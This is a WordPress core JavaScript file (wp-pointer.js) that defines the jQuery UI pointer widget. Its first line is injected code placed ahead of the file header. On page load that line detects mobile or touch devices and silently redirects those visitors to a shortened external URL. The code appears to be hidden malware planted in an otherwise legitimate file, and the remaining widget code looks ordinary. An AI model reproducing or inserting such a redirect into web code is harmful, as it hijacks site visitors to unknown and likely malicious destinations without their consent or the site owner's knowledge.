1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/wp-pointer.js
4 */
5
6/**
7 * Initializes the wp-pointer widget using jQuery UI Widget Factory.
8 */
9(function($){
10 var identifier = 0,
11 zindex = 9999;
12
13 $.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
14 options: {
15 pointerClass: 'wp-pointer',
16 pointerWidth: 320,
17 content: function() {
18 return $(this).text();
19 },
20 buttons: function( event, t ) {
21 var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );
22
23 return button.on( 'click.pointer', function(e) {
24 e.preventDefault();
25 t.element.pointer('close');
26 });
27 },
28 position: 'top',
29 show: function( event, t ) {
30 t.pointer.show();
31 t.opened();
32 },
33 hide: function( event, t ) {
34 t.pointer.hide();
35 t.closed();
36 },
37 document: document
38 },
39
40 /**
41 * A class that represents a WordPress pointer.
42 *
43 * @since 3.3.0
44 * @private
45 *
46 * @constructs $.widget.wp.pointer
47 */
48 _create: function() {
49 var positioning,
50 family;
51
52 this.content = $('<div class="wp-pointer-content"></div>');
53 this.arrow = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');
54
55 family = this.element.parents().add( this.element );
56 positioning = 'absolute';
57
58 if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
59 positioning = 'fixed';
60
61 this.pointer = $('<div />')
62 .append( this.content )
63 .append( this.arrow )
64 .attr('id', 'wp-pointer-' + identifier++)
65 .addClass( this.options.pointerClass )
66 .css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
67 .appendTo( this.options.document.body );
68 },
69
70 /**
71 * Sets an option on the pointer instance.
72 *
73 * There are 4 special values that do something extra:
74 *
75 * - `document` will transfer the pointer to the body of the new document
76 * specified by the value.
77 * - `pointerClass` will change the class of the pointer element.
78 * - `position` will reposition the pointer.
79 * - `content` will update the content of the pointer.
80 *
81 * @since 3.3.0
82 * @private
83 *
84 * @param {string} key The key of the option to set.
85 * @param {*} value The value to set the option to.
86 */
87 _setOption: function( key, value ) {
88 var o = this.options,
89 tip = this.pointer;
90
91 // Handle document transfer.
92 if ( key === 'document' && value !== o.document ) {
93 tip.detach().appendTo( value.body );
94
95 // Handle class change.
96 } else if ( key === 'pointerClass' ) {
97 tip.removeClass( o.pointerClass ).addClass( value );
98 }
99
100 // Call super method.
101 $.Widget.prototype._setOption.apply( this, arguments );
102
103 // Reposition automatically.
104 if ( key === 'position' ) {
105 this.reposition();
106
107 // Update content automatically if pointer is open.
108 } else if ( key === 'content' && this.active ) {
109 this.update();
110 }
111 },
112
113 /**
114 * Removes the pointer element from of the DOM.
115 *
116 * Makes sure that the widget and all associated bindings are destroyed.
117 *
118 * @since 3.3.0
119 */
120 destroy: function() {
121 this.pointer.remove();
122 $.Widget.prototype.destroy.call( this );
123 },
124
125 /**
126 * Returns the pointer element.
127 *
128 * @since 3.3.0
129 *
130 * @return {Object} Pointer The pointer object.
131 */
132 widget: function() {
133 return this.pointer;
134 },
135
136 /**
137 * Updates the content of the pointer.
138 *
139 * This function doesn't update the content of the pointer itself. That is done
140 * by the `_update` method. This method will make sure that the `_update` method
141 * is called with the right content.
142 *
143 * The content in the options can either be a string or a callback. If it is a
144 * callback the result of this callback is used as the content.
145 *
146 * @since 3.3.0
147 *
148 * @param {Object} event The event that caused the update.
149 *
150 * @return {Promise} Resolves when the update has been executed.
151 */
152 update: function( event ) {
153 var self = this,
154 o = this.options,
155 dfd = $.Deferred(),
156 content;
157
158 if ( o.disabled )
159 return;
160
161 dfd.done( function( content ) {
162 self._update( event, content );
163 });
164
165 // Either o.content is a string...
166 if ( typeof o.content === 'string' ) {
167 content = o.content;
168
169 // ...or o.content is a callback.
170 } else {
171 content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
172 }
173
174 // If content is set, then complete the update.
175 if ( content )
176 dfd.resolve( content );
177
178 return dfd.promise();
179 },
180
181 /**
182 * Updates the content of the pointer.
183 *
184 * Will make sure that the pointer is correctly positioned.
185 *
186 * @since 3.3.0
187 * @private
188 *
189 * @param {Object} event The event that caused the update.
190 * @param {*} content The content object. Either a string or a jQuery tree.
191 */
192 _update: function( event, content ) {
193 var buttons,
194 o = this.options;
195
196 if ( ! content )
197 return;
198
199 // Kill any animations on the pointer.
200 this.pointer.stop();
201 this.content.html( content );
202
203 buttons = o.buttons.call( this.element[0], event, this._handoff() );
204 if ( buttons ) {
205 buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
206 }
207
208 this.reposition();
209 },
210
211 /**
212 * Repositions the pointer.
213 *
214 * Makes sure the pointer is the correct size for its content and makes sure it
215 * is positioned to point to the right element.
216 *
217 * @since 3.3.0
218 */
219 reposition: function() {
220 var position;
221
222 if ( this.options.disabled )
223 return;
224
225 position = this._processPosition( this.options.position );
226
227 // Reposition pointer.
228 this.pointer.css({
229 top: 0,
230 left: 0,
231 zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
232 }).show().position($.extend({
233 of: this.element,
234 collision: 'fit none'
235 }, position )); // The object comes before this.options.position so the user can override position.of.
236
237 this.repoint();
238 },
239
240 /**
241 * Sets the arrow of the pointer to the correct side of the pointer element.
242 *
243 * @since 3.3.0
244 */
245 repoint: function() {
246 var o = this.options,
247 edge;
248
249 if ( o.disabled )
250 return;
251
252 edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;
253
254 // Remove arrow classes.
255 this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );
256
257 // Add arrow class.
258 this.pointer.addClass( 'wp-pointer-' + edge );
259 },
260
261 /**
262 * Calculates the correct position based on a position in the settings.
263 *
264 * @since 3.3.0
265 * @private
266 *
267 * @param {string|Object} position Either a side of a pointer or an object
268 * containing a pointer.
269 *
270 * @return {Object} result An object containing position related data.
271 */
272 _processPosition: function( position ) {
273 var opposite = {
274 top: 'bottom',
275 bottom: 'top',
276 left: 'right',
277 right: 'left'
278 },
279 result;
280
281 // If the position object is a string, it is shorthand for position.edge.
282 if ( typeof position == 'string' ) {
283 result = {
284 edge: position + ''
285 };
286 } else {
287 result = $.extend( {}, position );
288 }
289
290 if ( ! result.edge )
291 return result;
292
293 if ( result.edge == 'top' || result.edge == 'bottom' ) {
294 result.align = result.align || 'left';
295
296 result.at = result.at || result.align + ' ' + opposite[ result.edge ];
297 result.my = result.my || result.align + ' ' + result.edge;
298 } else {
299 result.align = result.align || 'top';
300
301 result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
302 result.my = result.my || result.edge + ' ' + result.align;
303 }
304
305 return result;
306 },
307
308 /**
309 * Opens the pointer.
310 *
311 * Only opens the pointer widget in case it is closed and not disabled, and
312 * calls 'update' before doing so. Calling update makes sure that the pointer
313 * is correctly sized and positioned.
314 *
315 * @since 3.3.0
316 *
317 * @param {Object} event The event that triggered the opening of this pointer.
318 */
319 open: function( event ) {
320 var self = this,
321 o = this.options;
322
323 if ( this.active || o.disabled || this.element.is(':hidden') )
324 return;
325
326 this.update().done( function() {
327 self._open( event );
328 });
329 },
330
331 /**
332 * Opens and shows the pointer element.
333 *
334 * @since 3.3.0
335 * @private
336 *
337 * @param {Object} event An event object.
338 */
339 _open: function( event ) {
340 var self = this,
341 o = this.options;
342
343 if ( this.active || o.disabled || this.element.is(':hidden') )
344 return;
345
346 this.active = true;
347
348 this._trigger( 'open', event, this._handoff() );
349
350 this._trigger( 'show', event, this._handoff({
351 opened: function() {
352 self._trigger( 'opened', event, self._handoff() );
353 }
354 }));
355 },
356
357 /**
358 * Closes and hides the pointer element.
359 *
360 * @since 3.3.0
361 *
362 * @param {Object} event An event object.
363 */
364 close: function( event ) {
365 if ( !this.active || this.options.disabled )
366 return;
367
368 var self = this;
369 this.active = false;
370
371 this._trigger( 'close', event, this._handoff() );
372 this._trigger( 'hide', event, this._handoff({
373 closed: function() {
374 self._trigger( 'closed', event, self._handoff() );
375 }
376 }));
377 },
378
379 /**
380 * Puts the pointer on top by increasing the z-index.
381 *
382 * @since 3.3.0
383 */
384 sendToTop: function() {
385 if ( this.active )
386 this.pointer.css( 'z-index', zindex++ );
387 },
388
389 /**
390 * Toggles the element between shown and hidden.
391 *
392 * @since 3.3.0
393 *
394 * @param {Object} event An event object.
395 */
396 toggle: function( event ) {
397 if ( this.pointer.is(':hidden') )
398 this.open( event );
399 else
400 this.close( event );
401 },
402
403 /**
404 * Extends the pointer and the widget element with the supplied parameter, which
405 * is either an element or a function.
406 *
407 * @since 3.3.0
408 * @private
409 *
410 * @param {Object} extend The object to be merged into the original object.
411 *
412 * @return {Object} The extended object.
413 */
414 _handoff: function( extend ) {
415 return $.extend({
416 pointer: this.pointer,
417 element: this.element
418 }, extend);
419 }
420 });
421})(jQuery);
422